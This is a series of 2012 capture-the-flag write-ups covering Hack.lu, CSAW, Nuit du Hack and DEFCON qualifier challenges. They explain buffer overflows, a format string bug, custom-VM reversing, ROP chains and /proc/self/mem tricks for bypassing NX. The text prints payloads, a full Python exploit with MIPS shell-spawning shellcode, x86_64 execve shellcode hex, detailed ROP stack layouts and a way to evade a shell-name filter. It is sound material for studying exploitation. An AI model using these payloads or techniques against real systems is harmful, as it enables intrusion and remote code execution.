Hack.lu CTF 2012: Braingathering (500 points)
Written by Samuel Chevet
1 2 3 4 5 6 7 8 9
We fought our way to the main server room. The zombies realized that they run out of humans sooner or later, so they started to build machines to create humans for them to eat. Those machines have a special code which is only known to the zombies. This code is capable of destroying all breeding-machines. Now, it's all up to you to get this code and tell us so that we can destroy all machines. SSH: ctf.fluxfingers.net PORT: 2097 USER: ctf PASS: opPsyuXs7aaxtop credits: 500 +3 (1st), +2 (2nd), +1 (3rd)
Braingathering is an elf32 binary which asks for 3 choices:
- 1) Need Brainz brainz brainz, Zombie huuuungry!
- 2) How much longer till braaaiiiiinz?
- 3) Nooo more brainz! STOP THE BRAINZ!
The two first are not interesting, but the third asks us for a password and compares it with the content of the "killcode". If the password entered by the user is right, it prints us:
YEAH, now go and submit the killcode so that we can stop other systems as well
So we need to leak this password or to get a shell to print the content of the file "killcode".
Entry point of the binary is inside .plt section and has type NOBITS, if we try to open it in IDA, it will not show use the disassembly, so we must change section's type to PROGBITS and we can see a simple deciphering loop.
1 2 3 4 5 6 7 8 9 10
loc_8048BC1: ; CODE XREF: start+1Aj mov eax, offset loc_8048500 mov ecx, 6A1h loc_8048BCD: ; CODE XREF: start-Aj xor byte ptr [eax], 8Ch inc eax dec ecx cmp ecx, 0 jg short loc_8048BCD
The binary xors bytes from
0x8C, and jumps to
0x8048500, the real entry point. Fix is simple: write a simple C program to do the task for us. Now we can open it with IDA, and we can see a switch case with 246 entries, it's definitively a VM.
It's friday night, and I was bored, so I decided to write an IDA processor for this vm:
Now we just have to dump the vm from offset
0x2847, and use this processor: "brain VM CPU: brain".
The first thing the vm does is decyphering his code with xor
0x1050. Again the solution is to write a simple C program to do the task for us.
Ok now we have the full code of the VM!
The only interesting sub is at offset
0x014E, we can call ask-for-password, it is the sub for the third choice.
The problem in this function is that a stack based buffer overflow can occur. It reserves
0x34(52) bytes on the stack for the buffer, but reads on STDIN
0x36(54), so we can overwrite the return address of this sub inside the VM.
1 2 3
0x187 MOV R4, $8000 0x18A MOV R1, $10 0x18D CALL memcpy
The password will be copied to address
0x8000, and our buffer to
0x7000, to compare them in sub-function
0x3Fis able to write a buffer to a file descriptor.
0x3F opcode, write(*PC, R4, strlen(R4));
So the idea is to put in R4 the adress of the password and execute this opcode. The opcode
0x49is perfect for this task :
0x49 mov r4, [PC]
So the payload looks like this:
1 2 3 4 5 6 7 8
0x49 0x00 0x80 ; mov r4, 0x8000 0x40 0x01 ; write(STDOUT_FILENO, r4, strlen(R4)); 0x53 0x0D 0x70 ; Adresse return for sub_print_newline (buffer + 0xD) for ending correctly exploit 0x53 0x03 0x01 ; push 0x013E (@ of sub_print_newline) 0x58 ; ret "0xFF"*43 ; END VM 0x00 0x70 ; New Address to return (@buffer)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
ctf@braingathering:~$ perl -e'print "3"x34 . "\x49\x00\x80" . "\x40\x01" . "\x53\x0d\x70" . "\x53\x3e\x01" . "\x58" . "\xFF"x40 . "\x00\x70"' > /tmp/payload ctf@braingathering:~$ /home/ctf/braingathering < /tmp/payload ==[ZOMBIE BRAIN AQUIREMENT SYSTEM]== Automated system for braingathering ready. 1) Need Brainz brainz brainz, Zombie huuuungry! 2) How much longer till braaaiiiiinz? 3) Nooo more brainz! STOP THE BRAINZ! X) Nah, I'm going to get my brains somewhere else. ### Warning: Only for authorized zombies ### Please enter teh z0mb13 k1llc0d3: Comparing k1llc0d3 INVALID OMG_VMAP0CALYPS3
CSAW CTF 2012: exploitation 200/300/400/500 writeups
Written by Samuel Chevet
This article regroups writeups for all exploitation challenges which did not deserve a full article.
This challenge is a linux elf32 wich listen on port 54321.
Each time a new client connect, it sends a message of welcome, and wait for receiving 512 bytes of data, those data are compared to the string : "A" * 26 + "\n", if it match the challenge will open the file "key" and send it to us.
The key is : "b3ee1f0fff06f0945d7bb018a8e85127"
This challenge is a linux elf32 which listen on port 4842. The binary will setup handler on differents signals, the most interesting one, is SIGSYS(0x1F), after a client connect and send a message of welcome, it will raise this signal, the handler will send an another message, and read 2048 bytes of data into a buffer of 326 bytes on the stack. It's clearly a simple stack based buffer overflow. And a fun thing is :
> readelf -l ./bin | grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
The stack is executable, so let's search some fun gadgets like jmp esp :
> rasm2 "jmp esp" ffe4
This gadget can be found inside section .eh_frame_hdr (0x08048F47). So the payload is really simple and look like this :
"A" * 326 + Addr_return (JMP ESP) + Shellcode (dup2 + excve(/bin/sh))
They changed the binary before we wrote this writeup, so our exploit does not work anymore and we don't remember the key.
This challenge is a linux elf32 wich listen on port 23456.
The vulnerability is inside function sdoomsday() (There is symbol inside the binary ...), it receive 511 bytes into .bss section and use this buffer for sprintf without format for filling a buffer on the stack. It's a simply format string vulnerability.
A nice thing is that .bss section is executable, so the payload will be :
| JMP AFTER FORMAT | FORMAT | NOP | SHELLCODE
What we will have to do is replacing address of a function inside got section called just after sprintf (for exemple send wich is called inside cd() function). An another fun trick is inside ssc function, it check if inside the buffer there is the pattern :
1 2 3 4 5 6 7 8 9 10
/bin/sh /usr/bin/es /usr/bin/ksh /bin/ksh /usr/bin/rc /usr/bin/esh /bin/dash /bin/bash /bin/rbash h//shh/bin
Just xor your shellcode and add a stub at the beginning for dexoring it.
The key is : "What_a_simple_filter_that_was"
This is the last exploitation challenge, it is as usual a linux elf32 wich listen on port 12345.
The first thing the program do is receiving 124 bytes, and check if in this buffer there is the pattern :
1 2 3 4 5 6
CPE1704TKS IMSAI 8080 microcomputer WORP Galaga Pencil Tic-Tac-Toe
And then receive 1024 bytes, but the return value of recv() will be the size of a memcpy() into a buffer too small, so it is a simply stack based buffer overflows. We can overwrite easily the return address by the adress of receive and forge the stack like :
1 2 3 4 5 6
+0xBC : New Return Address : 0x08048760 # .plt recv() +0xC0 : Return Address recv : 0x0804B000 # .bss section +0xC4 : File Descriptor : 0x4 # socket client +0xC8 : Buffer : 0x0804B000 # .bss section +0xCC : Size : 0x54 # Size Shellcode +0xD0 Flags : 0x0 # who care ?
We send the same shellcode as usual dup2 + execve(/bin/sh), and enjoy our shell.
The key is "Something_different_from_strcpy"
NDH2K12 Prequals: exploit-me2 writeup (port 4004)
Written by Samuel Chevet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
hi, i was discretely wandering around as usual yesterday. a couple of system developpers were shouting about corporate devices quality decreasing every year when they finally agreed about using local network to transfer some pictures. from the dead usb key i managed to recover from the trashcan and to clean, i finally extracted a couple of megabytes of unaltered data. worthless corporate mails, personal pictures i decided to keep for my private use and few interesting files, especially some asm source code that you might find valuable. i attached one of them, please contact me if you would like any further investigation about those pieces of code. ; test program #1 - build #35 for scipad ; http://sciteek.nuitduhack.com ; some includes #include inc/stdlib.inc ; this routine asks for a password and put the address in r5 and the size in r0 .label ask_password ; display a prompt movl r0, :pwd_msg call :print ; allocate some space on stack subb sp, #8 mov r5, sp movl r0, stdin mov r1, r5 movb r2, #10 ; read the password from stdin call :read ; restore the stack pointer addb sp, #8 ; return ret ; our main ; ; basically, this program does nothing useful ... it is just a sample ;) .label main ; display a welcome message movl r0, :welcome call :print ; ask for a password call :ask_password ; displays an error movl r0, :error call :print ; quit end ; temp routine (not used anymore) .label temp_routine movl r0, :flag_file call :disp_file_content end .label welcome .db "welcome on sciteek' scipad secure shell !",0x0a,0 .label pwd_msg .db "please enter your passphrase: ",0 .label error .db "nope. it is not the good password",0x0a,0 .label hint .db "sciteek.nuitduhack.com:4000",0 .label flag_file
This service vulnerability is a simple stack based buffer overflow. We are able to overwrite return address of ask_password function, but service running on remote server wasn't compiled from these exact sources, because received data size equals to
There is no ASLR, or NX on, so we can execute whatever we want from this buffer.
We wrote a simple shellcode to read /proc/self files :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
MOVB R0, #0x2 MOVL R1, :filename MOVB R2, #0x0 SYSCALL ; open(filename, O_RDONLY) MOV R7, R0 .label :loop MOVB R0, #0x03 MOV R1, R7 MOV R2, SP MOVB R3, #0x01 SYSCALL ; read(fd, sp, 1) TEST R0, R0 JNZ :read_ok END .label :read_ok MOVB R0, #0x04 MOVB R1, #0x01 MOV R2, SP MOVB R3, #0x01 SYSCALL ; write(stdout, sp, 1) JMPS :loop .label :filename .ascii "/proc/self/cmdline"
Scheme of exploitation is very simple :
[SHELLCODE] [NULL_PADDING] [BUFFER_ADDR]
And here is the exploit:
> nc sciteek.nuitduhack.com 4004 < shellcode_proc Password (required): /usr/local/challenge/vmndh/vmndh4-file/usr/local/challenge/vmndh/exploitmes/exploitme2.ndh
We can see that vm binary is located into /usr/local/challenge/vmndh/exploitmes/ and sercices run into /usr/local/challenge/vmndh/vmndh4, so by replacing /proc/self/cmdline by "../exploitmes/exploitme2.ndh", we are able to dump it.
1 2 3 4 5 6 7 8
> nc sciteek.nuitduhack.com 4004 < shellcode_dump > bin_4004_dump > strings bin_4004_dump Password (required): .NDH Password (required): sciteek.nuitduhack.com:4004 Bad password. You are now authenticated ZomfgSciPadWillR0xxD4Fuck1nw0RLd!!!
Password was :
DEFCON2K12 Prequals: pwn100 writeup
Written by Samuel Chevet
Unlike most binary exploitation challenges, we had to work on an unusual processor architecture:
> file pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped
Debian provides virtual machine images of their distribution for MIPS-I CPUs, which we were able to use with
qemuin order to run the binary. It serves a simple shell with the following commands available:
1 2 3 4 5 6
qotd ls png2ascii help exit quit
When we used the
lscommand we could see the
keyfile. The goal of this challenge was obviously to get it back. But the vulnerability was in another command:
sub_00401BC4). This functions reserves a buffer of size
0x100on the stack but reads
0x200from it, stopping at the first
'\n'byte encountered. We can use this to overwrite the return address stored on the stack and control the execution flow.
1 2 3 4
.text:00400918 lw $ra, 0x2C($sp) .text:0040091C lw $fp, 0x28($sp) .text:00400920 jr $ra .text:00400924 addiu $sp, 0x30
The problem we encountered next was bypassing ASLR, which made the address of our stack buffer random. We tried to find gadgets in the binary in order to return to our buffer address but no register pointed to our buffer and no pointer to the buffer was present at a useful location in the stack. Luckily, the server uses
fork()to serve each connection, which means each connection will use the same base stack address. We don't know where our buffer is but if we can find it once we know it will always be there until a server reboot.
We decided to leak informations about our memory map by using a
writesyscall present in the binary and returning to it. It loads arguments from the stack so we can control these as well, and the file descriptor we need to write the data on is already loaded with the right value.
1 2 3 4 5
.text:00411498 lw $a1, 0x30+var_2C($sp) .text:0041149C lw $a2, 0x30+var_28($sp) .text:004114A0 lw $a3, 0x30+var_24($sp) .text:004114A4 li $v0, 0x1052 .text:004114A8 syscall 0
Using a crafted stack we were able to bruteforce the pointer passed to the
writesyscall and test whether data is written or not. If some data is written we know that we are in a valid memory range.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
> for i in $(seq 0 255); do echo "- - - - - -"; printf "%02x\n" $i; python2 pwn100.py 40$(printf "%02x" $i)0000 1000 | hexdump -C; done | tee out ... 000004e0 0a 4f 52 20 41 20 4d 4f 55 54 48 2e 20 42 45 20 |.OR A MOUTH. BE | 000004f0 47 4f 4f 44 20 41 54 20 53 43 48 4f 4f 4c 20 54 |GOOD AT SCHOOL T| 00000500 4f 44 41 59 2e 20 4c 4f 56 45 2c 20 4d 4f 4d 2e |ODAY. LOVE, MOM.| 00000510 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 00000520 20 0a 0a 41 41 41 41 41 41 41 41 41 41 41 41 41 | ..AAAAAAAAAAAAA| 00000530 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| * 000005b0 41 41 41 51 51 51 51 98 14 41 00 04 00 00 00 f0 |AAAQQQQ..A......| 000005c0 c6 8c 7f 00 10 00 00 00 00 00 00 70 0a 01 10 ff |...........p....| 000005d0 ff ff ff d0 c7 8c 7f f8 17 99 00 09 00 00 00 ff |................| 000005e0 ff ff ff b8 c7 8c 7f cc 12 40 00 04 00 00 00 d0 |.........@......| 000005f0 c7 8c 7f 00 01 00 00 0a 00 00 00 70 0a 01 10 ff |...........p....| 00000600 ff ff ff 70 6e 67 32 61 73 63 69 69 00 ff ff ff |...png2ascii....| 00000610 ff ff ff 00 00 00 00 00 00 00 00 ff ff ff ff ff |................| ...
Using this trick we were able to find our buffer filled with "A" characters, so we knew exactly where to jump to. We just needed a valid MIPS shellcode to execute a shell on the remote server. Using this website we were able to do this very quickly. After testing it on the remote server we noticed that simply running
execvewas not enough because the server had a hard file descriptor limit. We bypassed it by using
execve, giving us this final exploit script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
import socket import struct import sys shellcode = \ "\xeb\x0f\x02\x24\x05\x00\x04\x24\xc0\xff\xa5\x27" + \ "\x64\x00\x0f\x24\xc0\xff\xaf\xaf\xc4\xff\xaf\xaf" + \ "\x0c\x01\x01\x01\x04\x00\x04\x24\x02\x00\x05\x24" + \ "\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\xa5\x20" + \ "\xff\xff\x0f\x24\xfb\xff\xaf\x14\x00\x00\x00\x00" + \ "\x69\x6e\x0f\x3c\x2f\x62\xef\x35\xf4\xff\xaf\xaf" + \ "\x68\x00\x0e\x3c\x2f\x73\xce\x35\xf8\xff\xae\xaf" + \ "\xfc\xff\xa0\xaf\xf4\xff\xa4\x27\xfc\xff\xa5\x27" + \ "\xfc\xff\xa6\x27\xab\x0f\x02\x24\x0c\x01\x01\x01" + \ "\x00\x00\x00\x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #s.connect(("22.214.171.124", 1994)) # remote server s.connect(("192.168.103.61", 1994)) # local test print s.recv(1024) print s.recv(1024) cmd = "png2ascii\n" s.send(cmd) print s.recv(1024) raw_input() # usefull for attach gdb stack = int(sys.argv, 16) size = int(sys.argv, 16) # EIP control payload = shellcode + "A" * (256 - len(shellcode)) #payload += "Q" * 4 + struct.pack("<I", 0x411498) # Addr write syscall #payload += "Q" * 4 + struct.pack("<I", 0x7f8cc680) # Addr Buffer local payload += "Q" * 4 + struct.pack("<I", 0x407ffe80) # Addr Buffer remote payload += "\x04\x00\x00\x00" # Socket fd # Parameters for sycall write payload += struct.pack("<I", stack) payload += struct.pack("<I", size) payload += struct.pack("<I", 0) s.send(payload + "\n") sys.stdout.write(s.recv(65536)) sys.stdout.write(s.recv(65536))
We read the key file using the remote shell and were able to validate the challenge. This was a fun challenge, it's not common to exploit non-x86 architectures.
More fun with the NDH2k12 Prequals VM
During the Nuit du Hack 2012 Prequals contest, we often had to remote exploit some services running in a custom VM (which was recently released on github). After injecting a shellcode in the services (through a remote stack buffer overflow) we were able to run VM code, which can execute interesting syscalls:
exit, and a lot more. However there was not a way to directly execute a random x86 binary or to list directories (no
getdents), which made it really hard to explore the server filesystem.
After the event ended we got an idea that we could have used to bypass this security and execute any shell command line on the remote server. Using
/proc/self/cmdline, we can get the path to the VM binary and download it. Then, using
/proc/self/memwe can replace some symbols from the binary by our custom x86 code. This method works because without the grsecurity patchset
/proc/self/memcompletely overrides NX and allows writing to read-only memory locations (like
We wrote an exploit for
exploit-me2.ndhwhich does the following thing:
- First, exploit the buffer overflow by sending a 102 chars string which will
fill up the 100 bytes buffer and overwrite the stack pointer by the buffer
start address. The buffer contains a shellcode which will load a second stage
shellcode to memory. We had to do that because our main shellcode is bigger
than 100 bytes. This VM code is loaded at offset
pie_baseto avoid crashing the VM.
- Then, the second stage exploit opens
/proc/self/mem, seeks to the
op_endsymbol location (VM instruction handler for
END (0x1C)) and writes an
x86_64 execve("/bin/sh")shellcode at this location. Seeking is not an easy task though as we can only manipulate 16 bits values inside the VM. Luckily the VM
.textis at a very low address and we were able to use this at our advantage: for example, to seek to
0x4091bc, we do a loop to seek forward
0xFFFF64 times then seek forward once more by
0x91fc. After our shellcode replaced the end instruction, we execute the
0x1Copcode to run our code.
Here is the second stage shellcode asm (first stage is really not that interesting):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
; Open /proc/self/mem movb r0, #0x02 movl r1, #str movb r2, #0x02 syscall mov r1, r0 movb r0, #0x11 ; SYS_seek movb r2, #0x0 ; offset movb r3, #0x0 ; SEEK_SET syscall ; Seek to 0x40 * 0xFFFF = 0x3fffc0 movl r2, #0xFFFF; offset movb r3, #0x1 ; SEEK_CUR movb r5, #0x40 loop: movb r0, #0x11 ; SYS_seek syscall dec r5 test r5, r5 jnz loop ; Seek forward to 0x4091bc == 0x40 * 0xFFFF + 0x91fc movb r0, #0x11 movl r2, #0x91fc syscall ; Write NULL to the address movb r0, #0x04 movl r2, #shellcode movb r3, #0x21 syscall end ; PWNZORED str: .asciz "/proc/self/mem" shellcode: 4831d248bbff2f62696e2f736848c1eb08534889e74831c050574889e6b03b0f05
This exploit works fine when the VM allows execution of writable pages (NX not enabled).
exploit-me2.ndhdoes not uses NX so this exploit works fine to exploit this binary. However, we were interested to see if we could reproduce this exploit on an NX enabled binary, like
The difficulty here is that you obviously can't simply write your VM shellcode to memory and run it. You need to use ROP technics to run the code you want. The
web3.ndhbinary contains a lot of interesting functions and gadgets to ROP to so this was not as hard as expected.
This binary reads a 1020 bytes buffer, which is definitely enough for a simple shellcode but not enough for our ROP shellcode which can't easily do loops. This time again we built a two stage exploit: first stage does part of the job and calls
read(2)to load a second stage which does the rest of the work.
We built our first stage exploit stack like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
7BF4 /proc/self/mem # required string constant ... padding ... 7DF4 0xBEEF # /GS canary 7DF6 0x8198 # offset to POP R1; POP R0; RET 7DF8 0x0002 # O_RDWR 7DFA 0x7BF4 # offset to /proc/self/mem 7DFC 0x81CA # "open" function 7DFE 0x8174 # offset to POP R2; POP R1; RET 7E00 0x0000 # SEEK_SET 7E02 0x0000 # seek to 0 7E04 0x81EA # "seek" function [repeated 0x28 times] 0x82C4 # offset to POP R2; RET 0xFFFF # seek 0xFFFF forward 0x80FF # offset to POP R3; RET 0x0001 # SEEK_CUR 0x81F9 # "lseek" function + 0xF to preserve regs 0x4242 # dummy for a POP in lseek 7FE6 0x84ED # "receive data" function 7FE8 0xFFFF # padding 7FEA 0xFFFF # padding
This does 0x28 / 0x40 of the required seeks, then recalls the vulnerable data receive function to load the second stage stack which is placed just after on stdin:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
7BE0 0xFFFF # padding 7BE2 0xFFFF # padding 7BE4 [x86_64 execve(/bin/sh) shellcode + padding] 7DE4 0xBEEF # /GS canary 7DE6 0x8176 # offset to POP R1; RET 7DE8 0x0003 # hardcoded /proc/self/mem fd (haxx) [repeated 0x18 times] 0x82C4 # offset to POP R2; RET 0xFFFF # seek 0xFFFF forward 0x80FF # offset to POP R3; RET 0x0001 # SEEK_CUR 0x81F9 # "lseek" function + 0xF to preserve regs 0x4242 # dummy for a POP in lseek 7F0A 0x82C4 # POP R2; RET 7F0C 0x91FC # last required offset 7F0E 0x80FF # POP R3; RET 7F10 0x0001 # SEEK_CUR 7F12 0x81F9 # "lseek" + 0xF 7F14 0x4242 # dummy for a POP in lseek 7F16 0x82C4 # POP R2; RET 7F18 0x7BE4 # offset to shellcode 7F1A 0x80FF # POP R3; RET 7F1C 0x0021 # shellcode length 7F1E 0x8193 # "write" syscall in the middle of a function 7F20 0x4242 # dummy for a POP 7F22 0x4242 # dummy for a POP 7F24 0x838c # offset to END, which executes our x86 expl ... padding ... 7FE0 [shell command to execute]
Last step is to be able to bypass ASLR + NX. We weren't able to do this yet, but we are confident that we could do it with some more work.
/proc/self/memis really a powerful attack vector when you have to bypass things like NX on a vanilla kernel!
- First, exploit the buffer overflow by sending a 102 chars string which will fill up the 100 bytes buffer and overwrite the stack pointer by the buffer start address. The buffer contains a shellcode which will load a second stage shellcode to memory. We had to do that because our main shellcode is bigger than 100 bytes. This VM code is loaded at offset